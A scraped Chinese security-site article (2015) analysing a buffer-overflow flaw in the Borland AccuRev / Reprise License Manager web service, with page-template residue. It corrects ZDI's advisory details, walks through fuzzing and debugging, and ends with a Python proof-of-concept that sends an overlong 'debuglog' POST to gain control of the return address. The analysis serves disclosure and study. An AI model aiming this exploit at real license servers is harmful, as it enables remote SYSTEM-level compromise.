<% dim ModuleName,InfoID,ChannelShortName,CorrelativeArticle,InstallDir,ChannelDir,Keyword,PageTitle,ArticleIntro,Articlecontent Keyword=stripHTML("Borland AccuRev,许可证服务器,缓冲区溢出,漏洞") PageTitle=stripHTML("Borland AccuRev许可证服务器的缓冲区溢出漏洞") ArticleIntro=stripHTML("关于Borland AccuRev的服务器缓冲区溢出漏洞的一次分析") Articlecontent=stripHTML("我最近看到zerodayinitiative发布了一个http://www.zerodayinitiative.com/advisories/ZDI-15-41…") ModuleName = stripHTML("exploits") InfoID = stripHTML("215643") ChannelShortName=stripHTML("漏洞") InstallDir=stripHTML("http://www.77169.com/") ChannelDir=stripHTML("exploits") %> Borland AccuRev许可证服务器的缓冲区溢出漏洞 - 华盟网 - http://www.77169.com
您现在的位置: 华盟网 >> 漏洞 >> 最新漏洞 >> win 漏洞 >> 正文

[组图]Borland AccuRev许可证服务器的缓冲区溢出漏洞

2015/10/29 作者:360 来源: 360
导读 <% if len(ArticleIntro)<3 then Response.Write Articlecontent 'Response.Write "Articlecontent" else Response.Write ArticleIntro 'Response.Write "ArticleIntro" end if %>


  我最近看到zerodayinitiative发布了一个http://www.zerodayinitiative.com/advisories/ZDI-15-416/Borland AccuRev 许可证服务器的漏洞。

  他们关于这个漏洞的说明如下:

  这个漏洞允许远程的攻击者在安装有Borland AccuRev的服务器上执行任意命令,并且不需要认证。这个漏洞存在在service_startup_doit函数,在处理licfile参数的时候,有可能引发栈溢出。因为Reprise License Manager被安装成服务,因此攻击着可以获取SYSTEM权限。

  通过ZDI的报告,我发现有2处欺骗的信息:

  1.有问题的函数是"service_Setup_doit"而不是"service_startup_doit".

  2.有问题的参数是"debuglog"而不是"licfile".

  AccuRev的下载链接如下:

  http://www.reprisesoftware.com/license_admin_kits/rlm.v11.3BL1-x86_w1.admin.exe

  通过在rlm.exe里搜索service_startup_doit字符串并没有发现任何结果,我尝试搜索"service_" ,得到了下面的结果

http://www.77169.com/exploits/UploadFiles_7195/201510/20151029135457471.png

  我不想根据这些字符串分析相应的函数,我这里用了其他的方法来尝试发现bug.

  ZDI说漏洞函数能够被远程访问,所以我开始读RLM手册,找线索。RLM有一个web服务,监听5054,通过配合burpsuite我进行了一些fuzzing,最终在一个post请求里发现了"licfile"参数

http://www.77169.com/exploits/UploadFiles_7195/201510/20151029135457576.png

  但是rlm.exe返回了错误信息,并没有崩溃

http://www.77169.com/exploits/UploadFiles_7195/201510/20151029135457639.png

  我在immunity调试器里设置了断点,跟踪rlm.exe如果处理字符串长度。



  基于上面的ASM代码,rlm检测字符串的长度小于或等于0x400,来阻止缓冲区溢出。我这时候想,或许我下载的rlm.exe版本不存在漏洞,接着我继续fuzzing,最终发现,当发送给"debuglog"参数的字符串小于0x400的时候,能够绕过检测,覆盖栈的返回值为0x414141,所以我推断出,有漏洞的参数是"debuglog",而不是"licfile"

http://www.77169.com/exploits/UploadFiles_7195/201510/20151029135457670.png

  我通过查看rlm.exe,发现它并不支持ASLR,但是这里有一个问题,rlm.exe地址里包含null,导致我们不能构造ROP,所以我这里是在XP系统上演示的,直接在栈里返回shellcode.

  POC 代码如下:

以下是代码片段:
import requests
url="http://10.211.55.39:5054/goform/service_setup_doit"
data= {
    'servicedesc':'RLM+License+Server',
    'servicename':'rlm',
    'action':'1',
    'debuglog':'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
    BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
    BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
    BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCC
    CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
    CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
    CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC'+"\x41\x41\x41\x41",
    'licfile':'C:\Users\username\Desktop\rlm-old'
    }
print requests.post(url, data=data).text